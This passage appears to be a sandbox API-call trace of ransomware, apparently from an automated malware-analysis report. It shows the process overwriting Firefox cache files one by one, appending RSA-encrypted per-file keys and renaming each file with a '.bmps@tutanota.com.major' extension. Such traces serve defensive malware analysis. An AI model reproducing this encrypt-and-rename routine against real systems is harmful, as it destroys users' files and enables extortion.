pszString="sGc3N8SJT+vfXD5tu7NxYsTtMtgZoLr5larRqUWKOmISWwgl9EFSTNuqPqSpztoT\nZ614JJbn8jcbCw8Ietd8F2h385CdVDvkJwLDBXvJBagJQdLBhgLlitJscwFfpfzJ\nsV+hic5MEx3VxTLx/CoOmoXYIy5HwkrQbTd8xSpe4YkZQG/o9HfqslS8E0uh5Stt\niKsMOPreOmvd2RMF94MDgTpeYRnD24Q2WmWdbJxhVAGE2mfg1GB1hZgvtXIEkdQV\nc37yTGH5DAm4Qp1gI08WNACE0qYYZbq4IaZFjRUtYO2WtTVsPNPMrwEn88h0r3eH\n7CETgSiacRD6lpb2LtGeYw==\n", pcchString=0x2e3f9a8) returned 1 [0272.427] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0272.428] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.428] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.428] CloseHandle (hObject=0x1b84) returned 1 [0272.428] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F680E68B8C682B5D2540FA7BE7B7F0D7521D9C9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f680e68b8c682b5d2540fa7be7b7f0d7521d9c9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F680E68B8C682B5D2540FA7BE7B7F0D7521D9C9.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f680e68b8c682b5d2540fa7be7b7f0d7521d9c9.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0272.430] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0272.430] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F5B7C56CEF8F02506BB0BB5AB3AD85843369F94", dwFileAttributes=0x80) returned 1 [0272.430] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xd35, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xd35, lpOverlapped=0x0) returned 1 [0272.671] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3381, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.671] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3b030*, nNumberOfBytesToWrite=0xd35, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd35, lpOverlapped=0x0) returned 1 [0272.672] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd35 [0272.672] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.672] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.673] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0272.673] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0272.673] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0272.673] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="qsRmVHF7fryoSxZhBwIRqdjcbgRLPUksdRQvyIoZTV94IP5Bb5dxmkt0UzXaUaCL\nh+6idkZL99s0B7nJbFlhdLgdcvAQ0QjK89gCZQKfpNKIJVDh9xW0KRPSpVNqWCDw\nK4wsn9TFkseOf2ks6pqWNw7s0xWYkMd2fPks8KBvyQ0i31D6yCI3b/WdFc/W2zwP\nlqYvmZllyojkOU70UoJDnAoT+yBKZChmLxmspX/iK2ovdvjdC+Vx+WSY/G/CtZLa\nUhL9syN2suUgpCUoPGl2wM8frgLqt/kCNTpxs0DDYHvPSjQMsz4QNGq5Wb8j+qEJ\nfl3hpDLKKZifcb5nhqHHMA==\n", pcchString=0x2e3f9a8) returned 1 [0272.674] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0272.674] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.674] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.674] CloseHandle (hObject=0x1b84) returned 1 [0272.675] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F5B7C56CEF8F02506BB0BB5AB3AD85843369F94" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f5b7c56cef8f02506bb0bb5ab3ad85843369f94"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F5B7C56CEF8F02506BB0BB5AB3AD85843369F94.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f5b7c56cef8f02506bb0bb5ab3ad85843369f94.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0272.677] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0272.677] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F0C54EEF677196E2899E5E79B4F3A906E46F926", dwFileAttributes=0x80) returned 1 [0272.677] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe29, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe29, lpOverlapped=0x0) returned 1 [0272.819] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3625, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.820] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3b030*, nNumberOfBytesToWrite=0xe29, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe29, lpOverlapped=0x0) returned 1 [0272.820] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe29 [0272.820] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.820] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.821] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0272.821] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0272.821] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0272.821] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="kqKqkYepZoEfNXvhSkrOV5wvQaMjJ1c49ipVunZpaQ2V2T3eC5HC/BrZq+j5SnvN\nfY5utYP8pENl2o93jgIJAXHgUqX9Bdc3p9/Y0np9nc0s7H4HK+aqFXf6b5ekC1KG\neTUjt2vzsgugHaKYIeux0+s8yn616RqcTcZtAzyEmJgvJxyO3oW3G4uIgjK5SMB1\nR9bYXRm2mUb1xadiZQSYQzg1/8P5VjlA+YGatqrS0AW1//sIt2tEcdxUt3PA/gyL\nsmhXs06i9R8ZG/pT+GN9B3m9qFv1CFBmXtWk99zJQwjLq7fo454DXBjKAeq4zZmB\ncR7jYcHBEnwKD+eaDiKfaw==\n", pcchString=0x2e3f9a8) returned 1 [0272.821] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0272.822] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.822] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.822] CloseHandle (hObject=0x1b84) returned 1 [0272.822] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F0C54EEF677196E2899E5E79B4F3A906E46F926" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f0c54eef677196e2899e5e79b4f3a906e46f926"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F0C54EEF677196E2899E5E79B4F3A906E46F926.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f0c54eef677196e2899e5e79b4f3a906e46f926.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.065] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.065] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EFB15999EE57EDBFAADF69D6A31D8C6F90FE8DC", dwFileAttributes=0x80) returned 1 [0275.067] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe29, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe29, lpOverlapped=0x0) returned 1 [0275.256] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3625, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.256] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3b030*, nNumberOfBytesToWrite=0xe29, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe29, lpOverlapped=0x0) returned 1 [0275.257] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe29 [0275.257] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.257] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.258] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.258] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.258] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.258] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nU0TZqZ1yhgZt/XS1a0aIuvnbwkiUySMZOE3+Ukh1rio2TkFYvKwweoMerWqmOa+\nTgJOXxXoAo66SdKZw/rNOGSL+CR4Snxgga2/gxJY5/M+h/SWi8V0Rh3nmGV4+HN+\nSz/92oq/iKR6wAM1Hq246mI/B4HvHUXUw7cpdee+MY6+nJeek8mubjis+3d5WQ1U\nWCKKmwiLquqgLTLjAKPkzL4KbrkA5bkp8JWnOtWFJKzl1J4XsqswEuSAQI/ngEGK\nb+hEAJ3csx2nNH3zsPhXYinlOL0RX4vusb0PecX1zHlgyyjaQtwEwyrS9300Cw67\n43SFnFZkpySbq4CM7OTCmg==\n", pcchString=0x2e3f9a8) returned 1 [0275.258] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.258] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.258] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.259] CloseHandle (hObject=0x1b84) returned 1 [0275.259] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EFB15999EE57EDBFAADF69D6A31D8C6F90FE8DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4efb15999ee57edbfaadf69d6a31d8c6f90fe8dc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EFB15999EE57EDBFAADF69D6A31D8C6F90FE8DC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4efb15999ee57edbfaadf69d6a31d8c6f90fe8dc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.261] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.261] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4ED140178E492EA87CC63B79854E2794790379DF", dwFileAttributes=0x80) returned 1 [0275.262] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3b030, nNumberOfBytesToRead=0x1cbb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesRead=0x2e3f9b4*=0x1cbb, lpOverlapped=0x0) returned 1 [0275.263] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-7355, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.264] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0x1cbb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1cbb, lpOverlapped=0x0) returned 1 [0275.264] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1cbb [0275.264] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.264] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.265] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.265] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.265] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.265] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="usIyaSMq06s4JKVlSNMNMQdiGyJeH/0pUclAH16OToM9AK1Tqc1ljFFglceo2SUm\n4qiULwPo8gxpTpWkUPCf/11DDBd2UnVuSDYHaltlU7d2KsQJkpC+/EDLC2uMP8S6\ndweuINxn7rNecM8UoJlu4uMMPh+r0fg/nS5/scX0qaTCR5z9qewqfW2AAXwuTEk1\nE4IKUCqMp2H2jO4zdQYp1ms6TSU+25CFSm4GJnTJZR2K8MzVmCl65+WdQ1179yjV\nIOLFLWMXbfeW2Wy+10iymkBr/tC642WD2hfYAFZqZpYHi8XfXhV906Lbq+sxkPIa\nRy2IfL/yoLCKaH96gMmnBg==\n", pcchString=0x2e3f9a8) returned 1 [0275.265] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.266] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.266] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.266] CloseHandle (hObject=0x1b84) returned 1 [0275.266] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4ED140178E492EA87CC63B79854E2794790379DF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ed140178e492ea87cc63b79854e2794790379df"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4ED140178E492EA87CC63B79854E2794790379DF.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ed140178e492ea87cc63b79854e2794790379df.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.268] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.268] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EB19FA3D8CEAD68F6470D09587A1393AA88100C", dwFileAttributes=0x80) returned 1 [0275.269] ReadFile (in: hFile=0x1b84, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x34c, lpOverlapped=0x0) returned 1 [0275.270] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-844, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.270] WriteFile (in: hFile=0x1b84, lpBuffer=0x66e948*, nNumberOfBytesToWrite=0x34c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesWritten=0x2e3f9b4*=0x34c, lpOverlapped=0x0) returned 1 [0275.271] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x34c [0275.271] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.271] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.272] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.272] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.272] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.272] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="WL4XzvBz4N3epojCUmONzW21zZ/HbrctCLrj9eOe5bT9p61YBR8b209C18g2rX4G\ntZuWnD1ymJVwpypDREoHS/0BnzFA18rF9lB7O9n0RRE8Bj370MUhMeIsGzKJXtVk\nHbqSBlG2dQLasc8RX6h1eX1UmWU7TujcB+8qRtkSglhGoguMyTApzntMcpRcEkzF\n0aVw9qW+QglcgR4eyohbkWj8V3NlvsE2YIDCVhrU53Bnn2I/sWK4G+W0vkgoCiX5\nndQ/nQmNf4QqsXCqOLU8xahWtGvM+dbrutoHs7YNXf4eoSrGUiuw6AtANaf5y/gR\n18q4dwVv99fncocuCAbSmQ==\n", pcchString=0x2e3f9a8) returned 1 [0275.272] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.273] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.273] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.273] CloseHandle (hObject=0x1b84) returned 1 [0275.273] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EB19FA3D8CEAD68F6470D09587A1393AA88100C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4eb19fa3d8cead68f6470d09587a1393aa88100c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EB19FA3D8CEAD68F6470D09587A1393AA88100C.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4eb19fa3d8cead68f6470d09587a1393aa88100c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.276] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.276] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E62B77ABD78ADC557B61986D9E366B41273F2AE", dwFileAttributes=0x80) returned 1 [0275.277] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x48d0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x48d0, lpOverlapped=0x0) returned 1 [0275.355] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-18640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.355] WriteFile (in: hFile=0x1b84, lpBuffer=0x34400f8*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34400f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x48d0, lpOverlapped=0x0) returned 1 [0275.356] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x48d0 [0275.356] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.356] WriteFile (in: hFile=0x1b84, 